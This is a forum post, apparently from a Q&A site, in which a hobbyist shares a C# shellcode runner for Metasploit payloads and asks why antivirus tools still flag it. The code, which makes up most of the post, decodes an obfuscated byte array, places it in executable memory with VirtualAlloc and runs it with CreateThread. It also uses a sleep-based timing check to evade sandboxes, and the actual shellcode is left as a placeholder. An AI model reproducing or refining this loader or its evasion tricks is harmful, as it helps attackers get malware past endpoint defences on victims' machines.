windows – Explanation why this code is getting flagged

I am very new to this area, just started as a hobby. So eventually I saw metasploit and started using it but then I realized Windows Defender Flagging all my exes. So I copied a csharp lines to inject shellcode as raw and encrypt it and even adding a sleep timer, I am still not sure why a lot of AVs are detecting it. I tried using DefenderCheck.exe to see what signature could be flagging but it shows the binary is good.
Here is the code any help is appreciated 🙂

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Net;
using System.Text;
using System.Threading;


namespace DecryptRunner
{
    class Program
    {
        (DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true))
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,
        uint flAllocationType, uint flProtect);
        
        (DllImport("kernel32.dll"))
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes,
        uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter,
        uint dwCreationFlags, IntPtr lpThreadId);
        
        (DllImport("kernel32.dll"))
        static extern UInt32 WaitForSingleObject(IntPtr hHandle,
        UInt32 dwMilliseconds);
        
        (DllImport("kernel32.dll"))
        static extern void Sleep(uint dwMilliseconds);

        static void Main(string() args)
        {
            byte() message = new byte(381) {<shell code here>};
            DateTime t1 = DateTime.Now;
            Sleep(60000);
            double t2 = DateTime.Now.Subtract(t1).TotalSeconds;
            if (t2 < 1.5)
            {
                return;
            }

            for (int i = 0; i < message.Length; i++)
            {
                message(i) = (byte)(((uint)message(i) - 24) & 0xFF);
            }
            int kilo = message.Length;



            IntPtr address = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
            
            Marshal.Copy(message, 0, address, kilo);



            IntPtr oroc = CreateThread(IntPtr.Zero, 0, address, IntPtr.Zero, 0, IntPtr.Zero);


            WaitForSingleObject(oroc, 0xFFFFFFFF);   
        }
    }
}

Just help me understand what is wrong here that triggers AVs ^_^ …..
Here is the virus total submission : https://www.virustotal.com/gui/file/56ec38186f3896feae96fa7b4b604a2a7fb99a1e62249a2eedc334a274952fd6